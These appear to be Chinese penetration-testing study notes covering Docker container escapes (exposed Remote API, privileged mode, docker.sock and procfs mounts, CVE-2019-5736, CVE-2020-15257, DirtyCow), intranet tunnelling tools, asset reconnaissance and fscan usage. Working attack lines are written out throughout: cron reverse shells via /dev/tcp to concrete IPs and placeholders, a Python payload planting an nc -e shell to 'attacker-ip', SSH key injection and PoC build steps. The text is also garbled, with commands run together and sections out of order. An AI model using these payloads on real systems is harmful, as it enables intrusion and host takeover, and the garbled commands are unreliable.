procfs是Linux内核信息的抽象文件接口,大量内核中的信息以及可调参数都被作为常规文件映射到一个目录树中,这样我们就可以简单直接 的通过echo或cat这样的文件操作命令对系统信息进行查取和调整了。同时procfs也提供了一个接口,使得我们自己的内核模块或用户态程 序可以通过procfs进行参数的传递。在当今的Linux系统中,大量的系统工具也通过procfs获取内核参数,例如ps、 lspci等等,没有procfs 它们将可能不能正常工作。
/usr/bin/docker-containerd-shim/usr/bin/docker-runc定时任务#
通过crontab 命令,我们可以在固定的间隔时间执行指定的系统指令或 shell script脚本。时间间隔的单位可以是分钟、小时、日、月、周及 以上的任意组合。这个命令非常适合周期性的日志分析或数据备份等工作。
我们经常使用的是crontab命令是cron table的简写,它是cron的配置文件,也可以叫它作业列表,我们可以在以下文件夹内找到相关配置文 件。
我们还可以把脚本放在/etc/cron.hourly、/etc/cron.daily、/etc/cron.weekly、/etc/cron.monthly目录中,让它每小时/天/星期、月执行一 次。
ssh
公钥登录
首先用户将自己的公钥存储在需要登录的远程机器上面,然后登录的时候,远程主机会向用户发送一段随机字符串,接着用户使用自己的私 钥加密字符串,并发给远程主机。最后,远程主机使用存储的公钥进行解密,若解密成功,则说明用户可信,准许登录,不在提示输入密 码。
口令登录
口令登录,即登录的时候需要输入登录密码
1. 客户端向服务器发出请求
2. 服务器将自己的公钥返回给客户端;
3. 客户端用服务器的公钥加密登录信息, 再将信息发送给服务器;
4. 服务器接收到客户端传送的登录信息, 用自己的私钥解码, 如果结果正确, 则同意登录, 建立起连接逃逸方法
错误配置#
由于"纵深防御" 和 “最小权限"等理念和原则落地,越来越难以直接利用漏洞来进行利用。另一方面,公开的漏洞,安全运维人员能够及时将#
其修复,当然,不免存在漏网之鱼。相反,更多的是利用错误的、危险的配置来进行利用,不仅仅Docker逃逸,其他漏洞也是,比如生产环 境开启Debug模式导致漏洞利用等等。
Docker已经将容器运行时的Capabilities黑名单机制改为如今的默认禁止所有Capabilities,再以白名单方式赋予容器运行所需的最小
权限Docker Remote API 未授权访问
漏洞简述:
docker swarm是管理docker集群的工具。主从管理、默认通过 2375 端口通信。绑定了一个Docker Remote API的服务,可以通过HTTP、 Python、调用API来操作Docker。
Docker daemon 是服务器组件,以 Linux 后台服务的方式运行,是 Docker 最核心的后台进程,我们也把它称为守护进程。它负责响应来 自 Docker Client 的请求,然后将这些请求翻译成系统调用完成容器管理操作。该进程会在后台启动一个 API Server ,负责接收由 Docker Client 发送的请求,接收到的请求将通过Docker daemon 内部的一个路由分发调度,由具体的函数来执行请求。
默认配置下, Docker daemon 只能响应来自本地Host的客户端请求。如果要允许远程客户端请求,需要在配置文件中打开TCP监听。
1. 查找docker.service2. 添加 2375 的tcp监听/var/spool/cron/ 目录下存放的是每个用户包括root的crontab任务,每个任务以创建者的名字命名
/etc/crontab 这个文件负责调度各种管理和维护任务。
/etc/cron.d/ 这个目录用来存放任何要执行的crontab文件或脚本。root@VM-0-6-ubuntu:~/.ssh# find / -name docker.service
/lib/systemd/system/docker.service
/sys/fs/cgroup/devices/system.slice/docker.service
/sys/fs/cgroup/memory/system.slice/docker.service
/sys/fs/cgroup/pids/system.slice/docker.service
/sys/fs/cgroup/cpu,cpuacct/system.slice/docker.service
/sys/fs/cgroup/blkio/system.slice/docker.service
/sys/fs/cgroup/systemd/system.slice/docker.service
/sys/fs/cgroup/unified/system.slice/docker.service
/var/lib/lxcfs/cgroup/devices/system.slice/docker.service
/var/lib/lxcfs/cgroup/memory/system.slice/docker.service
/var/lib/lxcfs/cgroup/pids/system.slice/docker.service
/var/lib/lxcfs/cgroup/cpu,cpuacct/system.slice/docker.service
/var/lib/lxcfs/cgroup/blkio/system.slice/docker.service
/var/lib/lxcfs/cgroup/name=systemd/system.slice/docker.service
/var/lib/systemd/deb-systemd-helper-enabled/multi-user.target.wants/docker.service
find: ‘/proc/10537/task/10537/net’: Invalid argument
find: ‘/proc/10537/net’: Invalid argument
/etc/systemd/system/multi-user.target.wants/docker.serviceExecStart=/usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock -H tcp://0.0.0.0:23753. 重新加载配置并重启docker4. 远程连接docker但是这样子是把docker暴露在公网上了,非常不安全,具体安全配置见官网
docker remote api可以执行docker命令,docker守护进程监听在0.0.0.0,可直接调用API来操作docker。
通过docker daemon api 执行docker命令:
利用场景:#
通过对宿主机端口扫描,发现有 2375 端口开放,可以执行任意docker命令。我们可以据此,在宿主机上运行一个容器,然后将宿主机的根目 录挂载至docker的/mnt目录下,便可以在容器中任意读写宿主机的文件了。我们可以将命令写入crontab配置文件,进行反弹shell。
漏洞利用:
Vulhub提供了该漏洞的复现环境。
利用方法 1随意启动一个容器,并将宿主机的/etc目录挂载到容器中,便可以任意读写文件了。我们可以将命令写入crontab配置文件,进行反弹shell。
利用方法 2#
随便启动一个docker,挂载点设置为服务器的根目录挂载至/mnt目录下。
在容器内执行命令,将反弹shell的脚本写入到/var/spool/cron/root
本地监听端口,获取对方宿主机shell。
利用方法 3https://github.com/Tycx2ry/docker_api_vul
Docker 高危启动参数 – privileged 特权模式启动容器
docker使用–privileged, --cap-add, --cap-drop 来对容器本身的能力进行开放或限制,使用 --cap-add, --cap-drop 可以添加或禁用特定
的权限
–privileged 参数也可以达到开放权限的作用, 与–cap-add的区别就是, --privileged是将所有权限给容器
由于docker容器的隔离是基于Linux的Capability机制实现的, Linux的Capability机制允许你将超级用户相关的高级权限划分成为不同的
小单元. 目前Docker容器默认只用到了以下的CapabilityCHOWN
DAC_OVERRIDE
FSETID
FOWNER
MKNOD
NET_RAW
SETGID
SETUID
SETFCAP
SETPCAP
NET_BIND_SERVICE
SYS_CHROOTsystemctl daemon-reload
systemctl restart dockerdocker -H tcp://\<target\>:2375/ ps -a#列出容器信息,效果与docker ps一致。
curl http://\<target\>:2375/containers/json
#启动容器
docker -H tcp://\<target\>:2375 ps -aimport dockerclient = docker.DockerClient(base_url='http://victim-ip:2375/')
data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc attacker-ip 21 -e
/bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})sudo docker -H tcp://<靶机ip>:2375 run -it -v /:/mnt nginx:latest /bin/bashecho '* * * * * /bin/bash -i >& /dev/tcp/<攻击机ip>/12345 0>&1' >> /mnt/var/spool/cron/crontabs/rootKILL#
AUDIT_WRITE#
特权模式逃逸是一种最简单有效的逃逸方法,使用特权模式启动的容器时,docker管理员可通过mount命令将外部宿主机磁盘设备挂载进容 器内部,获取对整个宿主机的文件读写权限,可直接通过chroot切换根目录、写ssh公钥和crontab计划任何等getshell。
当操作者执行docker run --privileged时,Docker将允许容器访问宿主机上的所有设备,同时修改AppArmor或SELinux的配置,使容
器拥有与那些直接运行在宿主机上的进程几乎相同的访问权限。判断方法:
特权模式起的容器,实战可通过cat /proc/self/status |grep Cap命令判断当前容器是否通过特权模式起(CapEff: 000000xfffffffff代 表为特权模式起)
[[外链图片转存中…(img-vMyYtZRR-1671282239672)]](https://img2022.cnblogs.com/blog/1964477/202203/1964477-20220324141322 132-147807345.png)
利用方法:
特权模式启动一个Ubuntu容器:
进入容器使用fdisk -l 命令查看磁盘文件:
[[外链图片转存中…(img-VUVAU59Q-1671282239672)]](https://img2022.cnblogs.com/blog/1964477/202203/1964477-2022032414132 1877-1445973604.png)
fdisk -l命令查看宿主机设备为/dev/sda5,通过mount命令将宿主机根目录挂载进容器
新建一个目录:mkdir /test
挂载磁盘到新建目录:mount /dev/sda5 /test
切换根目录:chroot /test[[外链图片转存中…(img-4azvbSXe-1671282239673)]](https://img2022.cnblogs.com/blog/1964477/202203/1964477-20220324141321 539-835889085.png)
写计划任务,反弹宿主机Shell:如果要写SSH的话,需要挂载宿主机的root目录到容器:然后ssh 私钥登录其他参数: Docker 通过Linux namespace实现 6 项资源隔离,包括主机名、用户权限、文件系统、网络、进程号、进程间通讯。但部分启动参数授予容 器权限较大的权限,从而打破了资源隔离的界限。
错误挂载#
挂载敏感目录(-v / 😕 )
将宿主机root目录挂载到容器
模拟攻击者写入ssh密钥
利用私钥成功登录。获取宿主机权限。#
sudo docker run -itd --privileged ubuntu:latest /bin/bashecho '* * * * * /bin/bash -i >& /dev/tcp/39.106.51.35/1234 0>&1' >> /test/var/spool/cron/crontabs/rootdocker run -itd -v /root:/root ubuntu:18.04 /bin/bashmkdir /root/.sshcat id_rsa.pub >>
/root/.ssh/authorized_keys--cap-add=SYS_ADMIN 启动时,允许执行mount特权操作,需获得资源挂载进行利用。
--net=host 启动时,绕过Network Namespace
--pid=host 启动时,绕过PID Namespace
--ipc=host 启动时,绕过IPC Namespacedocker run -itd -v /root:/root ubuntu:18.04 /bin/bashmkdir /root/.sshcat id_rsa.pub >> /root/.ssh/authorized_keysssh root@<靶机ip>挂载Docker Socket(docker.sock)
使用者将宿主机/var/run/docker.sock文件挂载到容器中,目的是能在容器中也能操作docker。概述:
Docker Socket是Docker守护进程监听的Unix域套接字,用来与守护进程通信查询信息或下发命令。
判断方法:
攻击者获得了 docker 容器的访问权限
容器已安装/var/run/docker.sock实战中通过find命令,可查找类似docker.sock等高危目录和文件
相当于在docker里可以执行宿主机docker命令,这样的话,我们新启一个容器,挂载宿主机根目录,即可逃逸
复现:
1 、首先创建一个容器并挂载/var/run/docker.sock
2 、在该容器内安装Docker命令行客户端
3 、接着使用该客户端通过Docker Socket与Docker守护进程通信,发送命令创建并运行一个新的容器,将宿主机的根目录挂载到新创建的容 器内部
4 、在新容器内执行chroot将根目录切换到挂载的宿主机根目录
已成功逃逸到宿主机#
挂载宿主机procfs
将宿主机的procfs挂载到不受控的容器中也是十分危险的,尤其是在该容器内默认启用root权限,且没有开启User Namespace时利用 procfs通过写/proc/sys/kernel/core_pattern来进行逃逸,触发条件比较苛刻,需要有进程崩溃才能触发
从2.6.19内核版本开始,Linux支持在/proc/sys/kernel/core_pattern中使用新语法。如果该文件中的首个字符是管道符|,那么该行的剩余 内容将被当作用户空间程序或脚本解释并执行。
Docker默认情况下不会为容器开启User Namespace
一般情况下不会将宿主机的procfs挂载到容器中,然而有些业务为了实现某些特殊需要,还是会有。判断方法:
实战中通过find命令,可查找类似core_pattern、/proc/sys/kernel/core_pattern等高危目录和文件
复现:
在挂载procfs的容器内利用core_pattern后门实现逃逸
利用思路:
还没学会。。。。。。。
程序漏洞#
Shocker 攻击
漏洞描述:从Docker容器逃逸并读取到主机某个目录的文件内容。Shocker攻击的关键是执行了系统调用open_by_handle_at函数,Linux手 册中特别提到调用open_by_handle_at函数需要具备CAP_DAC_READ_SEARCH能力,而Docker1.0版本对Capability使用黑名单管理策略, 并且没有限制CAP_DAC_READ_SEARCH能力,因而引发了容器逃逸的风险。
漏洞影响版本: Docker版本< 1.0, 存在于 Docker 1.0 之前的绝大多数版本
Shocker / Docker Breakout PoC
find / -name docker.sockdocker run -itd -v /var/run/docker.sock:/var/run/docker.sock ubuntuapt-updateapt-get install \apt-transport-https \ca-certificates \curl \gnupg-agent \software-properties-
commoncurl -fsSL https://mirrors.ustc.edu.cn/docker-ce/linux/ubuntu/gpg | apt-key add -apt-key fingerprint
0EBFCD88add-apt-repository \"deb [arch=amd64] https://mirrors.ustc.edu.cn/docker-ce/linux/ubuntu/
\$(lsb_release -cs) \stable"apt-get updateapt-get install docker-ce docker-ce-cli containerd.idocker run -it -v /:/host ubuntu:latest /bin/bashchroot /hostdocker run -itd -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubunturunC容器逃逸漏洞(CVE-2019-5736)
漏洞简述:
CVE-2019-5736是由波兰的一支ctf战队Dragon Sector在 2019 发现的关于runc的漏洞。起因是他们在参加一场ctf比赛之后,发现比赛中的一 道沙箱逃逸题的原理与runc的实现原理类似。在这之后他们对runc进行了相关的漏洞挖掘工作,并且成功发现了runc中存在的能够被用来覆 盖宿主机上runc文件的容器逃逸漏洞,该漏洞的CVE编号为CVE-2019-5736。
利用该漏洞,攻击者可以通过修改容器内可执行文件的方式,获取到宿主机上runc可执行文件的文件句柄,然后进行覆盖操作,将runc替换 为可控的恶意文件。最终可造成在宿主机上以root权限执行任意代码的严重后果,实现容器逃逸。
利用条件 :
Docker版本 < 18.09.2
runc版本< 1.0-rc6漏洞成因 :
该漏洞的产生主要和Linux的pid命名空间与/proc伪文件系统相关。
当一个进程加入了某一pid命名空间之后,该命名空间中的其它进程就能够通过/proc文件系统观察到该进程,在权限允许的情况下,进程 能够通过/proc/[pid]/exe找到其它进程对应的二进制文件。
而如果将这种情况放到runc init执行过程中来看,runc init进程在进入了容器的命名空间之后,如果容器内部的文件能够欺骗runc init进程执行自身,那么容器内的进程就能够通过/proc获取到宿主机上的runc文件句柄,从而进行覆盖等攻击操作。
正常的创建容器并在容器内执行命令的过程示意图如下图所示
而修改了待执行文件的内容之后,runc init进程会执行自身,从而将宿主机上的runc文件暴露给了容器内部,造成安全风险
我们在执行功能类似于docker exec的命令(其他的如docker run等,不再讨论)时,底层实际上是容器运行时(Runtime)在操作。例如 runc,相应地,runc exec命令会被执行。它的最终效果是在容器内部执行用户指定的程序。进一步讲,就是在容器的各种命名空间内,受 到各种限制(如cgroups)的情况下,启动一个进程。除此以外,这个操作与宿主机上执行一个程序并无二致。
执行过程大体是这样的:runc启动,加入到容器的命名空间,接着以自身(/proc/self/exe,后面会解释)为范本启动一个子进程,最后通 过exec系统调用执行用户指定的二进制程序。
我们需要让另一个角色出场——proc伪文件系统,即/proc。关于这个概念,Linux文档已经给出了详尽的说明,这里我们主要关注/proc下 的两类文件:
1. /proc/[PID]/exe:它是一种特殊的符号链接,又被称为magic links,指向进程自身对应的本地程序文件(例如我们执行
ls,/proc/[ls-PID]/exe就指向/bin/ls)
2. /proc/[PID]/fd/:这个目录下包含了进程打开的所有文件描述符/proc/[PID]/exe的特殊之处在于,如果你去打开这个文件,在权限检查通过的情况下,内核将直接返回给你一个指向该文件的描述符(file descriptor),而非按照传统的打开方式去做路径解析和文件查找。这样一来,它实际上绕过了mnt命名空间及chroot对一个进程能够访问 到的文件路径的限制。
那么,设想这样一种情况:在runc exec加入到容器的命名空间之后,容器内进程已经能够通过内部/proc观察到它,此时如果打 开/proc/[runc-PID]/exe并写入一些内容,就能够实现将宿主机上的runc二进制程序覆盖掉。这样一来,下一次用户调用runc去执行命令 时,实际执行的将是攻击者放置的指令。
利用步骤:
1 、下载poc
2 、修改Payload
3 、编译生成payload
4 、实战中可以curl等方式下载,这边直接使用docker cp放入容器
5 、在容器中执行payload
6 、在攻击机上监听本地端口,成功获取宿主机反弹回来的shell
Docker cp 命令容器逃逸攻击漏洞 CVE-2019-14271
漏洞描述 :
当Docker宿主机使用cp命令时,会调用辅助进程docker-tar,该进程没有被容器化,且会在运行时动态加载一些libnss*.so库。黑客可以通 过在容器中替换libnss*.so等库,将代码注入到docker-tar中。当Docker用户尝试从容器中拷贝文件时将会执行恶意代码,成功实现Docker 逃逸,获得宿主机root权限。
影响版本 :
Docker 19.03.0
漏洞原理 :
执行docker cp后,docker daemon会启动一个docker-tar进程来完成这项复制任务。
若要从容器内复制文件到宿主机上,docker-tar原理:会切换进程的根目录(执行chroot)到容器根目录,然后将需要复制的文件或目录打 tar包传递给Docker daemon,Docker daemon负责将内容解包到用户指定的宿主机目标路径。
原本使用chroot,是位了避免了符号连接导致的路径穿越,但是docker-tar仅仅chroot到了容器的文件系统,而程序本身不是容器化的,其 在主机命名空间中运行,这意味着docker-tar不受cgroup或seccomp的限制。如果这时候docker-tar加载了容器内部的恶意动态链接库(本 来应该从主机文件系统中加载库,但是由于docker-tar chroots到了容器内,所以从容器文件系统中加载动态链接库),被注入恶意代码, 那就能够获得对主机完全的root访问权
CVE-2020-15257
漏洞原理
containerd是行业标准的容器运行时,可作为Linux和Windows的守护程序使用。在版本1.3.9和1.4.3之前的容器中,容器填充的API不正确 地暴露给主机网络容器。填充程序的API套接字的访问控制验证了连接过程的有效UID为 0 ,但没有以其他方式限制对抽象Unix域套接字的访 问。这将允许在与填充程序相同的网络名称空间中运行的恶意容器(有效UID为 0 ,但特权降低)导致新进程以提升的特权运行。刚好在默认 情况下,容器内部的进程是以root用户启动的。在两者的共同作用下,容器内部的进程就可以像主机中的containerd一样,连接containerd- shim监听的抽象Unix域套接字,调用containerd-shim提供的各种API,从而实现容器逃逸
判断方法:
利用方法:#
https://github.com/cdk-team/CDK/releases
下载对应架构的可执行文件,上传到容器并赋权
内核漏洞#
DirtyCow(CVE-2016-5195)脏牛漏洞实现Docker 逃逸
Docker 与 宿主机共享内核,因此容器需要在存在dirtyCow漏洞的宿主机里
漏洞原理:
Dirty Cow(CVE-2016-5195)是Linux内核中的权限提升漏洞,通过它可实现Docker容器逃逸,获得root权限的shell。
git clone https://github.com/Frichetten/CVE-2019-5736-PoCvi main.gopayload = "#!/bin/bash \n bash -i >& /dev/tcp/192.168.172.136/12345 0>&1"CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.gosudo docker cp ./main 248f8b7d3c45:/tmp# 修改权限
chmod 777 main
# 执行Payload
./main#判断是否使用host模式
cat /proc/net/unix | grep 'containerd-shim'脏牛影响范围极广,存在Linux内核中已经有长达 9 年的时间,Linux内核>=2.6.22( 2007 年发行)开始就受影响了,直到 2016 年 10 月 18 日才 修复。据说Linus本人也参与了修复,可见修复难度之大.这个洞非常精致隐蔽,分析完毕后不禁拍案叫绝,感觉刺激程度堪比小说
那为什么叫脏牛呢,是因为这是linux的COW:copy on write 写时复制机制存在缺陷(dirty),而COW和cow谐音,所以也叫脏牛(dirtyCOW).使用 脏牛,我们可在用户态下用普通用户的身份改写任意任何目录下任意用户的任意文件,甚至包括root用户的文件。试想如果给passwd文件追 加一行有root权限的用户信息,就能轻松获取root权限。这个洞价值很高,据说几年前市面上有些安卓ROOT APP,采用的核心技术就是这个 洞。
从编码的角度来看,一般情况下在 fork 之后会存在一个 execve 或其他 exec 系列的函数来执行一个新的程序,在调用 execve 的时候,内核 会将新程序的代码段、数据段映射到子进程的内存中。上述创建子进程的过程,父进程将自身的内存空间完全拷贝给了子进程后,子进程很 快就执行 execve 将新程序装载进入自己的内存中,覆盖了大部分父进程拷贝的内存,那么实际上大部分的父进程拷贝的数据是无用的。因 而内核引入了 Copy-on-write 技术,即当 fork 创建完子进程后,父子进程实际上共享物理内存,当父子进程中发生了对内存写入的操作时, 内核再为子进程分配新的内存页并将改动写入新内存页中,也就是在 fork 之后,execve 之前的过程。
VDSO其实就是将内核中的.so文件映射到内存,.so是基于Linux下的动态链接,其功能和作用类似与windows下.dll文件。
在Linux中,有一个功能:VDSO(virtual dvnamic shared object),这是一个小型共享库,能将内核自动映射到所有用户程序的地址空间,可以 理解成将内核中的函数映射到内存中,方便大家访问。
dirty cow漏洞可以让我们获取只读内存的写的权限,我们首先利用dirty cow漏洞写入一段shellcode到VDSO映射的一段闲置内存中,然后 改变函数的执行顺序,使得调用正常的任意函数之前都要执行这段shellcode。这段shellcode初始化的时候会检查是否是被root调用,如果 是则继续执行,如果不是,则接着执行clock_gettime函数,接下来它会检测/tmp/.X文件的存在,如果存在,则这时已经是root权限了,然 后它会打开一个反向的TCP链接,为Shellcode中填写的ip返回一个Shell。
二十四、内网代理工具有哪些?#
端口转发工具lcx Web代理脚本regeorg Shell反弹脚本nc 、VPN
1. nc:nc首先对公网主机端口进行监听,再到内网输入公网IP,端口号,以及执行文件,比如cmd.exe,就可以成功反弹内网主机的shell
2. 第一个是 LCX 对 windows 3389 的转发;
第二个是 reGeorg 通过上传对应脚本(PHP/ASPX/JSP),然后全局代理进一步内网渗透;
第三个是 EarthWorm
3. LCX:
1 )端口转发(listen和slave成对使用 2 )端口映射(tran)
Windows版是lcx.exe,Linux版为portmap,
lcx.exe -slave 公网主机ip 4444 127.0.0.1 3389
( 1 )首先内网主机的 3389 端口转发到具有公网ip主机的 4444 端口
lcx.exe –listen 4444 5555
( 2 )其次是监听公网主机本机的 4444 端口请求,并将来自 4444 端口的请求传送给 5555 端口。
此时已经把内网的 3389 端口转发到了公网的 5555 端口。可以通过127.0.0.1:5555连接到内网的远程桌面。
还有一种情况就是 3389 出不了防火墙,他还有一项功能就是端口映射,你吧 3389 映射到一个不被限制的端口就可以直接远程桌面链接
了。
4. reGeorg+proxifier内网代理+端口转发:
目的:攻击者A 通过web应用B 看内网主机C, 在C上查看流量发现是B访问的而非攻击者。
步骤如下:
第一步: 上传tunnel 文件 到 Web应用B
第二步: 在A 上,使用reGeorgSocksProxy.py 并指定端口
第三步: 设置自己的代理Proxifier 或者SocksCap64(本次使用的是proxifier)
第四步: 在C上使用wireshark 查看流量信息。(当然也可以查看日志)内网端口通过http/https转发到本地,然后本地使用socks5正
向代理穿透防火墙到达服务器,即是一个环路。二十五、怎么样才能收集到内资产?#
一、资产收集基本名词概念#
C段:#
一般指bai段C网络段,也称为“段duC渗透”IP范围 192 . 0 . 0 . 1 到 223 . 255 . 255 . 254 Whois: 查询域名是否已经被注册。 真实ip: 公网IP地址,唯一不可以重复的所以叫真实ip。 网站架构: 一般认为是根据客户需求分析的结果,准确定位网站目标群体,设定网站整体架构,规划、设计网站栏目及其内容,制定网站开发流程及顺 序,以最大限度地进行高效资源分配与管理的设计。 域名: 就是我们平时所说的网址。 子域名收集: http://tool.chinaz.com/subdomain/www.nuc.edu.cn/index.htm 敏感目录: 一般是指可能直接影响到系统的目录。例如C:\windows,C:\system32,启动项目录等。
DNS信息:#
https://tool.chinaz.com/dns/?type=1&host=www.nuc.edu.cn&ip= 旁站: 监理人员在施工现场对工程实体关键部位或关键工序的施工质量进行的监督检查活动。 端口: 可以认为是设备与外界通讯交流的出口。例如计算机中的 80 端口、 21 端口、 23 端口等。 资产: 网络资产主要是计算机(或通讯)网络中使用的各种设备。主要包括主机、网络设备(路由器、交换机等)和安全设备(防火墙等)。 收集资产: 主要从子域名,证书,备案号,logo,天眼查,关键字等方法来进行查询,好多地方都使用到了fofa,fofa是一款很神奇的工具,我只能跟 你说贼好用,具体语法不懂的请参照fofa语法使用规则,里面写的很详细,接下来是详细的搜集步骤,小白版。 子域名: 使用fofa, 利用domain=“xxx.com"来收集子域名。
二、相关收集方法#
1.fofa#
2.google搜索语法#
利用google搜索语法,site:xxx.com -www 用减号“-”来排除不想搜集到的域名。 证书 1.点击浏览器网站旁边的小锁,然后点击证书就可以查看到该网站的证书了。 2. 然后利用证书去fofa搜索相关资产。 3. 然后点击域名去判断是不是属于目标的资产。 4.备案号 通过网站备案号去站长之家等工具里面查询相关资产
3.logo#
当你不确定目标产品是什么时,比如你不知道他是谁家的WAF或者路由器,可以利用查看网站logo地址,然后复制logo地址,点击按图片搜 索,到谷歌里面查询;也可以把目标logo下载下来,利用上传图片来查询,通过搜索出来的结果可以判断目标产品和厂商。
4.favicon.ico#
首先先来介绍一下什么favicon.ico文件,所谓favicon,便是其可以让浏览器的收藏夹中除显示相应的标题外,还以图标的方式区别不同的网 站。favicon.ico也被称为 website icon(网页图标)、page icon(页面图标)或url icon(URL图标),具体细节请问度娘。下面这个小东 西就是 Favicon.ico,我们可以通过在shodan里寻找它的哈希并去查找相关资产。打开shodan页面,或者用shodan插件都行。
5 .关键字#
可以通过fofa的 title=“百度” 来进行查询,也可以根据其他关键字或者关键字的一些组合来进行精简。
6.维基百科#
通过在维基百科里输入要查询的目标,会列出该目标的相关信息。#
7.天眼查,企查查#
通过输入目标,会显示出关于目标的公司,点进去之后可以查看目标的子公司,通过经济状况查看目标公众号,查找公众号还可以去微信里#
面搜索关键字来查找公众号。#
8. 微信公众号#
通过微信搜索公众号并去关注,然后进去点击文章之类的,下拉可以看到它的网页来源,大部分是微信提供的,所以需要去阅读原文,但是#
原文也可能是第三方提供的,所以还需要自己自行去判断,找到它的url后又可以去爆一波子域名了,因为手机截图,所以没划重点。
9. APP#
通过七麦数据在线网站查找目标APP查询开发商,得到目标所有APP应用。#
10.在线接口查询#
以上只是收集的办法,收集并不是单一的使用一遍就完事,以上方法可以交叉循环使用,比如通过子域名收集一批资产,然后通过这批资产#
的证书又获得一批资产,再去收集新资产的子域名。各种方法交叉循环使用,这样才能保证你查找的资产会比较全;找到的url要去熟悉各个 页面中的功能点,说不定会有意料之外的惊喜哦。因为目标可能使用CDN,还需要去判断是真实IP,还是使用CDN之后的节点IP。
二十六、fscan 是否用过?内网穿透工具有哪些?#
fscan#
1.简介#
Fscan是一款内网综合扫描工具,它非常的方便,一键启动,之后完全自动化、并且全方位漏洞扫描。它支持主机存活探测、端口扫描、常 见服务的爆破、ms17010、redis批量写公钥、计划任务反弹shell、读取win网卡信息、web指纹识别、web漏洞扫描、netbios探测、域控 识别等功能。
这款工具被红队广泛使用,它简直是内网横向移动的大杀器。
2.主要功能#
( 1 )信息搜集:#
存活探测(icmp) 端口扫描 ( 2 )爆破功能: 各类服务爆破(ssh、smb、rdp等) 数据库密码爆破(mysql、mssql、redis、psql、oracle等) ( 3 )系统信息、漏洞扫描: netbios探测、域控识别 获取目标网卡信息 高危漏洞扫描(ms17010等) ( 4 )Web探测功能: webtitle探测 web指纹识别(常见cms、oa框架等) web漏洞扫描(weblogic、st2等,支持xray的poc) ( 5 )漏洞利用: redis写公钥或写计划任务 ssh命令执行
3.使用方法介绍#
常用命令:(默认使用全部模块)#
fscan.exe -h 192.168.1.1/24 (C段扫描)
fscan.exe -h 192.168.1.1/16 (B段扫描)
fscan.exe -h 192.168.1.1/8 (A段扫描,192.x.x.1和192.x.x.254,方便快速查看网段信息 )其他:
fscan.exe -h 192.168.1.1/24 -np -no -nopoc(跳过存活检测 、不保存文件、跳过web poc扫描)
fscan.exe -h 192.168.1.1/24 -rf id_rsa.pub (redis 写公钥)
fscan.exe -h 192.168.1.1/24 -rs 192.168.1.1:6666 (redis 计划任务反弹shell)
fscan.exe -h 192.168.1.1/24 -c whoami (ssh 爆破成功后,命令执行)
fscan.exe -h 192.168.1.1/24 -m ssh -p 2222 (指定模块ssh和端口)
fscan.exe -h 192.168.1.1/24 -pwdf pwd.txt -userf users.txt (加载指定文件的用户名、密码来进行爆破)
fscan.exe -h 192.168.1.1/24 -o /tmp/1.txt (指定扫描结果保存路径,默认保存在当前路径)
fscan.exe -h 192.168.1.1/24 -m smb -pwd password (smb密码碰撞)
fscan.exe -h 192.168.1.1/24 -m ms17010 (指定模块)
fscan.exe -hf ip.txt (以文件导入)
fscan.exe -u http://baidu.com -proxy 8080 (扫描单个url,并设置http代理 http://127.0.0.1:8080)
fscan.exe -h 192.168.1.1/24 -nobr -nopoc (不进行爆破,不扫Web poc,以减少流量)
fscan.exe -h 192.168.1.1/24 -pa 3389 (在原基础上,加入3389->rdp扫描)4.参数大全#
Usage of fscan:
-br int
Brute threads (default 1)
-c string
exec command (ssh) //ssh命令执行
-cookie string
set poc cookie //设置cookie
-debug int
every time to LogErr (default 60) //多久没响应,就打印当前进度
-domain string
smb domain //smb爆破模块时,设置域名
-h string
IP address of the host you want to scan,for example: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12
-hf string
host file, -hf ip.txt
-hn string
the hosts no scan,as: -hn 192.168.1.1/24 //扫描时,要跳过的ip: -hn 192.168.1.1/24
-m string
Select scan type ,as: -m ssh (default "all")
-no
not to save output log //扫描结果不保存到文件中
-nobr
not to Brute password //跳过sql、ftp、ssh等的密码爆破
-nopoc
not to scan web vul //跳过web poc扫描
-np
not to ping //跳过存活探测
-num int
poc rate (default 20) //web poc 发包速率
-o string
Outputfile (default "result.txt") // 扫描结果保存到哪
-p string
Select a port,for example: 22 | 1-65535 | 22,80,3306 (default“21,22,80,81,135,139,443,445,1433,1521,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017”)#
-pa string
add port base DefaultPorts,-pa 3389 //新增需要扫描的端口,-pa 3389 (会在原有端口列表基础上,新增该端口)
-path string
fcgi、smb romote file path
-ping
using ping replace icmp
-pn string
the ports no scan,as: -pn 445 //扫描时要跳过的端口,as: -pn 445
-pocname string
use the pocs these contain pocname, -pocname weblogic //指定web poc的模糊名字, -pocname weblogic
-pocpath string
poc file path
-portf string
Port File
-proxy string
set poc proxy, -proxy http://127.0.0.1:8080 //设置代理, -proxy http://127.0.0.1:8080
-pwd string
password //指定爆破时的密码
-pwda string
add a password base DefaultPasses,-pwda password //在原有密码字典基础上,增加新密码
-pwdf string
password file //指定爆破时的密码文件
-rf string
redis file to write sshkey file (as: -rf id_rsa.pub) //指定redis写公钥用模块的文件 (as: -rf id_rsa.pub)
-rs string
redis shell to write cron file (as: -rs 192.168.1.1:6666) //redis计划任务反弹shell的ip端口 (as: -rs 192.168.1.1:6666)
-silent
silent scan // 静默扫描,适合cs扫描时不回显
-sshkey string
sshkey file (id_rsa) //ssh连接时,指定ssh私钥
-t int
Thread nums (default 600)
-time int
Set timeout (default 3) //端口扫描超时时间 (default 3)
-top int
show live len top (default 10)
-u string
url
-uf string
urlfile
-user string
username
-usera string
add a user base DefaultUsers,-usera user //在原有用户字典基础上,新增新用户
-userf string
username file
-wt int
Set web timeout (default 5)内网穿透工具#
1.frp#
frp 是一个高性能的反向代理应用,可以帮助您轻松地进行内网穿透,对外网提供服务,支持 tcp, http, https 等协议类型,并且 web 服务支 持根据域名进行路由转发。
项目地址:
使用步骤:#
1. 部署frps 到云服务器上
2. 在本地服务器上运行frpc2.ngrok#
ngrok 是一个反向代理,通过在公共的端点和本地运行的 Web 服务器之间建立一个安全的通道。
官网地址:
https://github.com/fatedier/frphttps://ngrok.com使用步骤:#
1. 进入ngrok官网,注册一个账号,并下载客户端
2. 在本地服务器上,运行ngrokc. 添加映射,将HTTP映射转发到本地 80 端口
3.蜻蜓映射#
